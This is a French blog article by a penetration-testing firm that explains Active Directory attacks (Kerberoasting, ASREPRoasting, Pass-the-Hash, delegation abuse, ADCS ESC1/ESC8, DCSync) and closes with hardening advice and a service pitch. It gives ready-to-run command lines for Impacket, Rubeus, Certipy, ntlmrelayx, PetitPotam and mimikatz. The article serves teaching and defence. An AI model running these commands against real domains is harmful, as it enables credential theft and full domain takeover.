Note : les techniques présentées sont utilisées dans le cadre de tests d'intrusion autorisés par mandat écrit. Elles sont documentées ici à des fins éducatives et défensives.

Pourquoi Active Directory est une cible de choix

AD centralise l'authentification, les autorisations, les stratégies de groupe et les identités de toute l'organisation. Compromettre un contrôleur de domaine, c'est compromettre l'ensemble du SI : accès à tous les partages, tous les serveurs, toutes les données.

Ce qui rend AD particulièrement vulnérable : il est conçu pour la compatibilité ascendante. Des protocoles des années 90 (NTLM, Kerberos v5 dans sa configuration par défaut) coexistent avec des configurations modernes. Chaque couche de compatibilité est une potentielle surface d'attaque.

1. Kerberoasting

Principe

Kerberoasting exploite le fonctionnement normal de Kerberos. Tout utilisateur authentifié sur le domaine peut demander un Service Ticket (TGS) pour n'importe quel service enregistré via un SPN (Service Principal Name). Ce ticket est chiffré avec le hash du mot de passe du compte de service associé.

L'attaque consiste à demander ces tickets, les exporter, et les cracker offline, sans déclencher d'alerte sur le contrôleur de domaine, puisqu'il s'agit d'une opération légitime.

Exploitation avec NetExec + Impacket

# Identification des comptes avec SPN
      netexec ldap <DC_IP> -u user -p password --kerberoasting output.txt
      
      # Alternative avec GetUserSPNs (Impacket)
      GetUserSPNs.py -request domain.local/user:password -dc-ip <DC_IP> -outputfile hashes.txt
      
      # Crack avec Hashcat (mode 13100 = TGS-REP)
      hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule

Pourquoi ça marche encore en 2025

Les comptes de service sont souvent anciens, créés par des équipes qui ne sont plus là, avec des mots de passe qui n'ont pas été changés depuis des années. Un compte de service svc_backup avec le mot de passe Backup2019! est un classique.

Détection et remédiation

2. ASREPRoasting

Principe

Variante du Kerberoasting. Certains comptes ont l'option "Do not require Kerberos preauthentication" activée. Pour ces comptes, n'importe qui peut demander un AS-REP sans s'authentifier, et la réponse contient des données chiffrées avec le hash du mot de passe du compte.

Exploitation

# Sans credentials (null session)
      GetNPUsers.py domain.local/ -usersfile users.txt -no-pass -dc-ip <DC_IP> -format hashcat -outputfile asrep_hashes.txt
      
      # Crack (mode 18200)
      hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

Remédiation

Activer la pré-authentification Kerberos sur tous les comptes (vérification via BloodHound : noeud AS-REP Roastable Users).

3. Pass-the-Hash (PtH) et Pass-the-Ticket (PtT)

Pass-the-Hash

NTLM n'utilise pas le mot de passe en clair mais son hash. Si vous obtenez le hash NT d'un compte (via secretsdump, mimikatz, lsass dump), vous pouvez vous authentifier sans connaître le mot de passe.

# Dump des hashes locaux (si administrateur local)
      secretsdump.py domain/user:password@<TARGET_IP>
      
      # Utilisation du hash pour un mouvement latéral
      netexec smb <TARGET_IP> -u Administrator -H <NT_HASH>
      
      # Shell avec psexec
      psexec.py -hashes :<NT_HASH> domain/Administrator@<TARGET_IP>

Pass-the-Ticket

Même logique avec les tickets Kerberos. Si vous pouvez exporter un TGT ou un TGS (via Mimikatz sekurlsa::tickets /export ou Rubeus dump), vous pouvez vous réauthentifier en tant que l'utilisateur concerné sur n'importe quelle machine du domaine.

# Export des tickets depuis lsass
      Rubeus.exe dump /nowrap
      
      # Injection du ticket dans la session courante
      Rubeus.exe ptt /ticket:<base64_ticket>

Remédiation

4. Délégations Kerberos mal configurées

Unconstrained Delegation

Un serveur avec la délégation non contrainte stocke dans son lsass les TGT de tous les utilisateurs qui s'y connectent. Si vous compromettez ce serveur, vous récupérez les TGT de tous les utilisateurs, y compris potentiellement celui d'un Domain Admin.

# Identifier les machines avec unconstrained delegation
      Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
      
      # Avec BloodHound : noeuds "Unconstrained Delegation"
      # Après compromission du serveur : dump des tickets
      mimikatz # sekurlsa::tickets /export

Technique Printer Bug / SpoolSample : forcer un DC à s'authentifier vers le serveur compromis (unconstrained), récupérer son TGT, et l'utiliser pour une DCSync ou un Golden Ticket.

Constrained Delegation avec Protocol Transition (S4U2Self)

Un compte configuré pour la délégation contrainte avec protocol transition peut obtenir un TGS au nom de n'importe quel utilisateur (y compris des Domain Admins) vers les services autorisés, sans avoir besoin du mot de passe de cet utilisateur.

# Identifier les comptes avec constrained delegation
      Get-ADObject -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo
      
      # Exploitation avec Rubeus (S4U)
      Rubeus.exe s4u /user:svc_account /rc4:<HASH> /impersonateuser:Administrator /msdsspn:"cifs/target.domain.local" /ptt

Resource-Based Constrained Delegation (RBCD)

Si vous avez des droits d'écriture sur l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity d'une machine, vous pouvez configurer vous-même la délégation pour vous permettre d'usurper n'importe quel utilisateur vers cette machine.

# Prérequis : droit d'écriture GenericWrite/GenericAll sur la machine cible
      # Créer un compte machine contrôlé
      New-MachineAccount -MachineAccount "FakeComputer" -Password (ConvertTo-SecureString "Password123!" -AsPlainText -Force)
      
      # Configurer RBCD
      Set-ADComputer target_machine -PrincipalsAllowedToDelegateToAccount FakeComputer$
      
      # Obtenir un TGS pour Administrator vers target_machine
      Rubeus.exe s4u /user:FakeComputer$ /rc4:<HASH_FAKECOMPUTER> /impersonateuser:Administrator /msdsspn:"cifs/target_machine.domain.local" /ptt

5. ADCS Abuse (Active Directory Certificate Services)

ADCS est devenu l'une des surfaces d'attaque les plus fertiles de ces dernières années, depuis les recherches de Will Schroeder et Lee Christopoulos (ESC1 à ESC8).

ESC1 : template de certificat trop permissif

Un template de certificat vulnérable à ESC1 réunit trois conditions : 1. Des utilisateurs non-privilégiés peuvent s'inscrire 2. L'EKU (Extended Key Usage) inclut l'authentification client 3. Le sujet du certificat est défini par le demandeur (SAN arbitraire)

En pratique : vous pouvez demander un certificat au nom de n'importe quel utilisateur, y compris un Domain Admin, puis vous authentifier en tant que lui via PKINIT.

# Identification avec Certipy
      certipy find -u user@domain.local -p password -dc-ip <DC_IP> -vulnerable
      
      # Exploitation ESC1
      certipy req -u user@domain.local -p password -ca "CA_NAME" -template "VulnTemplate" -upn administrator@domain.local -dc-ip <DC_IP>
      
      # Authentification avec le certificat obtenu
      certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
      # Retourne le hash NT de Administrator

ESC8 : NTLM Relay vers l'endpoint HTTP de l'Enrollment Web Service

Si l'enrollment web ADCS accepte l'authentification NTLM et n'est pas protégé par HTTPS avec EPA (Extended Protection for Authentication), on peut relayer une authentification NTLM entrante vers l'ADCS pour obtenir un certificat au nom du compte relayé.

# Setup du relay avec ntlmrelayx vers ADCS
      ntlmrelayx.py -t http://<ADCS_IP>/certsrv/certfnsh.asp -smb2support --adcs --template "DomainController"
      
      # Déclencher une authentification entrante (PrinterBug, PetitPotam, etc.)
      PetitPotam.py <RELAY_IP> <DC_IP>
      
      # ntlmrelayx récupère automatiquement le certificat, utiliser certipy auth

6. DCSync

DCSync est la technique finale : une fois qu'un compte dispose du privilège Replicating Directory Changes All (nativement Domain Admins, Enterprise Admins, DC), il peut simuler un contrôleur de domaine et demander la réplication de tous les hashes du domaine.

# Avec secretsdump
      secretsdump.py domain/Administrator:password@<DC_IP> -just-dc
      
      # Avec Mimikatz
      lsadump::dcsync /domain:domain.local /user:krbtgt

Le hash du compte krbtgt permet de créer des Golden Tickets : des TGT forgés valables 10 ans, pour n'importe quel utilisateur, indépendamment des changements de mot de passe.

BloodHound : votre carte du domaine

Aucun pentest AD sérieux ne se fait sans BloodHound. Cet outil modélise les relations AD sous forme de graphe et identifie automatiquement les chemins d'attaque vers les cibles à haute valeur (Domain Admins, Enterprise Admins, DC).

# Collecte avec SharpHound (depuis un poste Windows joint au domaine)
      SharpHound.exe -c All --zipfilename output.zip
      
      # Collecte depuis Linux avec BloodHound.py
      bloodhound-python -u user -p password -d domain.local -ns <DC_IP> -c All

Les requêtes Cypher pré-intégrées permettent de trouver en quelques secondes : les chemins les plus courts vers Domain Admins, les comptes Kerberoastables avec des privilèges élevés, les ACLs dangereuses (GenericAll, WriteDACL, etc.), et les machines avec unconstrained delegation accessibles.

La kill chain AD typique

Dans la majorité des pentests internes que nous réalisons, la chaîne ressemble à ceci :

  1. Accès réseau : poste compromis, VPN, ou simple accès réseau interne
  2. Reconnaissance AD : BloodHound, enumération LDAP, PowerView
  3. Premier compte de domaine : Kerberoasting ou ASREPRoasting sur un compte à mot de passe faible
  4. Mouvement latéral : Pass-the-Hash, exploitation de délégations
  5. Elévation de privilèges : ADCS ESC1/ESC8, RBCD, unconstrained delegation + SpoolSample
  6. Domain compromise : DCSync, Golden Ticket, persistance

Le tout peut se faire en quelques heures dans un environnement standard non durci.

Ce que ça implique pour les entreprises

La plupart de ces attaques sont évitables avec des mesures de configuration, sans achat de solution supplémentaire.

Les actions prioritaires : auditer les templates ADCS avec Certipy ou PingCastle, identifier et corriger les délégations non contraintes, activer Protected Users pour les comptes à haute valeur, déployer le modèle de tiering AD (Tier 0/1/2), remplacer les comptes de service classiques par des gMSA, activer le credential guard sur les serveurs critiques, et générer un rapport BloodHound de votre propre domaine pour commencer.

Conclusion

Active Directory reste en 2025 la surface d'attaque la plus fertile lors d'un pentest interne. Non par manque de solutions, mais par accumulation de configuration legacy, de comptes oubliés, et de fonctionnalités activées par défaut pour des raisons de compatibilité.

Un audit AD complet permet d'identifier ces chemins avant qu'un attaquant réel ne les emprunte. HackHeart réalise des tests d'intrusion internes avec une couverture complète de la surface AD, de la reconnaissance initiale jusqu'à la démonstration d'impact (DCSync, accès aux données sensibles).

Contactez-nous pour discuter de votre périmètre.

Article rédigé par Sébastien, pentester indépendant (CPTS, CRTA), fondateur de HackHeart - Sophia Antipolis / PACA.

Outils mentionnés

Besoin d'un pentest ?

Parlons de votre périmètre. Devis gratuit, sans engagement.

Demander un devis Prendre contact
S
Seb De Coninck
Pentester · HackHeart · CPTS, CRTA
← Retour au blog